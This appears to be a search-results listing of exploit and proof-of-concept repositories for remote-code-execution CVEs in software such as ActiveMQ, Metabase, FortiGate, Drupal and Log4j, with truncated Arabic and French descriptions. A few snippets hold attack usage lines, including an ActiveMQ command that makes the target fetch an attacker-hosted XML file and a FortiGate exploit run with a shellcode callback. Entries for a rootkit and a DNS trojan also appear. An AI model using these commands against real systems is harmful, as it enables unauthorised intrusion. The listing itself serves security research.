324857 matches found
CVE-2026-21858
🚨 CVE-2026-21858 — “Ni8mare” ثغرة تنفيذ تعليمات برمجية عن بُعد حرجة دون مصادقة في منصة مفتوحة المصدر لأتمتة سير العمل. 📖 جدول المحتويات نظرة عامة التفاصيل التقنية الخطورة وCVSS الإصدارات المتأثرة الأثر الاستغلال الكشف المعالجة التخفيف الملخص 🔎 نظرة عامة CVE-2026-21858 ، المعروفة باسم “Ni8mare” ، ...
EXPLOIT-CVE-2025-55182
إثبات المفهوم لـ CVE-2025-55182 نظرة عامة عرض عملي لـ CVE-2025-55182 React2Shell - ثغرة RCE حرجة في مكونات خادم React. تفاصيل الثغرة معرف CVE : CVE-2025-55182 النوع : تنفيذ تعليمات برمجية عن بُعد عبر تلوث النموذج الأولي CVSS : 9.8 حرج المتأثر : React 19.0.0, 19.1.0, 19.1.1, 19.2.0 ناقل الهجوم تقو...
CVE-2021-41773-Apache_2.4.49-Path-traversal-to-RCE
CVE-2021-41773 – Exécution de code à distance dans Apache HTTP Server 2.4.49 ⚠️ Avertissement Ce dépôt est destiné strictement à des fins éducatives et de recherche. Les informations et le code fournis ici peuvent être utilisés dans des environnements contrôlés , comme des machines de laboratoire...
CVE-2023-38646
CVE-2023-38646 Outils automatiques pour l'exploit RCE de Metabase connu sous le nom de CVE-2023-38646. Consultez https://secry.me/explore/news/metabase-rce-cve-2023-38646/ pour plus d'informations POC, Dork Comment utiliser single.py python3 single.py --url=http://127.0.0.1:8080 --command="curl...
CVE-2021-27850_POC
استغلال ثغرة CVE-2021-27850 نظرة عامة CVE-2021-27850 هي ثغرة حرجة لتنفيذ الأوامر عن بُعد غير مصرح بها، وُجدت في جميع الإصدارات الحديثة من Apache Tapestry. عن طريق تحميل ملف AppModule.class يمكننا تسريب المفتاح السري HMAC المستخدم لتوقيع جميع الكائنات المسلسلة في Apache Tapestry. واجهنا هذه الثغرة...
CVE-2020-28502
ثغرة CVE-2020-28502 في node-XMLHttpRequest RCE وصف NVD يؤثر هذا على الحزمة xmlhttprequest قبل الإصدار 1.7.0؛ وجميع إصدارات الحزمة xmlhttprequest-ssl. بشرط إرسال الطلبات بشكل متزامن async=False في xhr.open، يمكن أن يؤدي إدخال المستخدم الضار الذي يتدفق إلى xhr.send إلى إدخال وتنفيذ تعليمات برمجية...
CVE-2023-46604-Apache-ActiveMQ-RCE-exp
مرجع المشروع هذا المشروع هو إعادة كتابة exp من مشروع https://github.com/X1r0z/ActiveMQ-RCE إلى إصدار python من exp. الاستخدام python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 حيث أن المعامل -p الافتراضي هو المنفذ الافتراضي لـ activeMQ. المعامل -x يجب إضافة بادئ...
CVE-2018-7600-Drupal-0day-RCE
CVE-2018-7600-Drupal-0day-RCE Drupal 0day Exécution de code PHP à distance Perl Ceci est un exploit RCE 0day dans Drupal CMS Vous pouvez télécharger un payload sur le serveur. CVE : CVE-2018-7600 Cxsecurity : https://cxsecurity.com/issue/WLB-2018040108 Comment exécuter l'exploit : 1-git clone...
F5-Big-IP-CVE-2022-1388
F5-Big-IP-CVE-2022-1388 CVE-2022-1388 F5 Big IP exécution de code à distance non authentifiée PoC Suivez-nous Vulnmachines YouTube Twitter Facebook LinkedIn...
SAP_EEM_CVE-2020-6207
PoC لـ CVE-2020-6207 فقدان فحص المصادقة في SAP Solution Manager يتيح هذا السكربت فحص واستغلال فحوصات المصادقة المفقودة في سيرفلت SAP EEM tcsmdagentapplicationeem والتي تؤدي إلى RCE على وكلاء SAP SMDAgents المتصلين بـ SAP Solution Manager الاكتشاف الأصلي: Pablo Artuso Yvan 'iggy' G الورقة البحثية:...
boopkit
================================================================ ██████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗██╗████████╗ ██╔══██╗██╔═══██╗██╔═══██╗██╔══██╗██║ ██╔╝██║╚══██╔══╝ ██████╔╝██║ ██║██║ ██║██████╔╝█████╔╝ ██║ ██║ ██╔══██╗██║ ██║██║ ██║██╔═══╝ ██╔═██╗ ██║ ██║ ██████╔╝╚██████╔╝╚██████╔╝██║ ██║...
log4shell_1.x
Log4jShell1.x Log4j RCE 1.x Poc هجوم القيود 1. الهدف يحتوي على بيئة jms 2. تحتاج إلى الحصول على صلاحية لتعديل ملف log4j.properties الاستنتاج ليس مفيدًا مثل log4shell 2.x موضوع Log4shell https://github.com/cckuailong/reapoc/tree/main/Topic/Log4j مرحبًا بك في المساهمة في reapoc...
CVE-2023-27997
CVE-2023-27997 يمكن استغلال FortiGate VM64 7.2.0 باستخدام هذا الكود. لاحظ أن الكود كُتب بطريقة غبية جدًا. إثبات المفهوم $ python3 exploit.py 192.168.106.142 10443 192.168.106.143 9999 + generating shellcode + salt=b'25c2dcf2' + processing hash + finding hash in cache - not in cache + computing +...
CVE-2021-44228
CVE-2021-44228 إعادة إنتاج الثغرة 1. قم بتشغيل RmiServer أولاً لإنشاء خدمة سجل RMI. 2. قم بتشغيل Log4jTest، إذا كنت تستخدم Windows، ستظهر الآلة الحاسبة...
CVE-2025-49132
CVE-2025-49132 Pterodactyl هي لوحة تحكم مجانية ومفتوحة المصدر لإدارة خوادم الألعاب. قبل الإصدار 1.11.11، باستخدام /locales/locale.json مع معاملات locale و namespace، يمكن لمهاجم خبيث تنفيذ كود عشوائي دون الحاجة إلى مصادقة. مع القدرة على تنفيذ كود عشوائي، يمكن استخدام ذلك للوصول إلى خادم لوحة...
CVE-2025-50754-PoC
CVE-2025-50754 XSS Stocké menant à une Exécution de Code à Distance sur une Plateforme CMS PHP Résumé Une plateforme CMS basée sur PHP version 5 contient une vulnérabilité de Cross-Site Scripting XSS stocké dans la fonctionnalité "Report". Lorsqu'un administrateur consulte un rapport soumis par u...
CVE-2020-35476
CVE-2020-35476 تحدث ثغرة أمنية في تنفيذ التعليمات البرمجية عن بُعد في OpenTSDB حتى الإصدار 2.4.0 عبر حقن الأوامر في معامل yrange. غير مكتمل ولا يعمل. معظم الشيفرة موجودة ولكن يجب إصلاح الحمولة...
dnschan
dnschan Ceci est un trojan qui fonctionne via DNS. Vous pouvez: gérer plusieurs agents très lentement téléverser des fichiers récupérer des fichiers depuis le web exécuter des processus...
